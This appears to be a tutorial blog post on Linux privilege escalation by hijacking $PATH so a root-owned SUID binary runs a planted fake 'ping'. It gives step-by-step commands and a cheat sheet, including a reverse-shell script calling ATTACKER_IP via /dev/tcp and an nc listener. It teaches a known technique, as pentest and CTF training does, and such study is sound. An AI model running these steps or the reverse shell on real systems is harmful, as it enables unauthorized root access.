Privilege Escalation via $PATH Hijacking and SUID Binaries
In this post, we’re diving into a classic privilege escalation trick that catches a lot of vulnerable systems (and beginner CTF players) off guard: abusing the $PATH environment variable to hijack execution flow in SUID binaries.
If you’re not looking closely, it’s easy to miss. But once you understand what to look for, you’ll start finding it everywhere.
What We’re Exploiting
The core idea behind this attack is simple:
If a root-owned SUID binary or script calls another binary without using the full path, we can potentially hijack that call by controlling the
$PATH.
In Linux, the $PATH environment variable tells the system where to look for executables when you type a command like ls, cp, ping, or anything else that isn’t specified with a full path (/bin/ls, /usr/bin/cp, etc).
Linux will search from left to right through the directories listed in $PATH and run the first match it finds.
Realistic Attack Scenario
Let’s say you find a root-owned binary with the SUID bit set. You dig into it using strings or reverse engineering, and you find this:
system("ping -c 1 127.0.0.1");
Here’s the mistake:
The developer used just "ping" instead of "/bin/ping".
Now if we, as low-privileged users, can:
- Drop our own fake
pingbinary - Place it in a location that comes first in
$PATH - Run the SUID binary
…we’ll gain root privileges.
Why the SUID Bit Matters
The SUID (Set User ID) bit tells Linux:
“Always execute this binary with the owner’s privileges, no matter who runs it.”
If that owner is root, and the binary is exploitable, that’s your foothold into root.
Quick Check: Can I Exploit This?
| ✅ Question | Why It Matters |
|---|---|
| Is the binary owned by root? | Only root-owned SUIDs can give you privilege escalation. |
Is the SUID bit set? (-rwsr-xr-x) | Tells you if it will run with root’s permissions. |
| Does it call another binary without a full path? | Opens the door for $PATH hijacking. |
Can you write to a directory that’s in $PATH? | So you can drop your malicious replacement. |
If not, can you modify $PATH to include a directory you can write to? | Still exploitable if environment isn’t cleaned. |
Step-by-Step Exploitation
🔹 1. Find SUID Binaries Owned by Root
find / -perm -4000 -user root -type f 2>/dev/null
These are your high-value targets.
🔹 2. Analyze Their Behavior
Check for system calls using strings, ltrace, or ghidra.
Look for this:
system("command");
And NOT this:
system("/usr/bin/command");
🔹 3. Check $PATH and Writable Folders
echo $PATH
find / -type d -writable 2>/dev/null
Is any folder in $PATH writable?
Can you add a writable folder like /tmp to the front of $PATH?
🔹 4. Add Your Malicious Command to a Writable Folder
For example, if ping is being called and /tmp is writable:
cp /bin/bash /tmp/ping
chmod +x /tmp/ping
Or make it spawn a reverse shell:
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /tmp/ping
chmod +x /tmp/ping
🔹 5. Modify $PATH (if needed)
export PATH=/tmp:$PATH
Now Linux will look in /tmp first when resolving ping.
🔹 6. Trigger the Vulnerable Binary
./vulnbin
If it’s root-owned and has the SUID bit, and it calls ping without specifying the full path, your /tmp/ping will be executed as root.
🔹 7. Catch the Shell
On your attacker machine:
nc -lvnp PORT
Root shell delivered.
When This Won’t Work
| Case | Why It Fails |
|---|---|
The binary uses full paths (e.g. /bin/ping) | No $PATH hijack possible |
| The SUID bit is missing | It runs as your current user |
| The file is not owned by root | You’ll escalate to that user, not root |
No writable folders in $PATH and you can’t change it | You can’t place your malicious binary |
The environment is sanitized (e.g. $PATH is reset internally) | Your changes to $PATH won’t take effect |
Cheat Sheet
# Find SUID binaries owned by root
find / -perm -4000 -user root -type f 2>/dev/null
# Check for vulnerable system calls
strings /path/to/suid_binary | grep system
# Check writable folders and PATH
find / -type d -writable 2>/dev/null
echo $PATH
# Add writable folder to path
export PATH=/tmp:$PATH
# Create fake binary (example: ping)
cp /bin/bash /tmp/ping
chmod +x /tmp/ping
# Run the SUID binary
./vulnbin
Final Thoughts
This is a classic escalation vector that combines developer mistakes with environmental misconfigurations. It’s simple, elegant, and powerful — and still shows up in real-world systems more often than you’d expect.
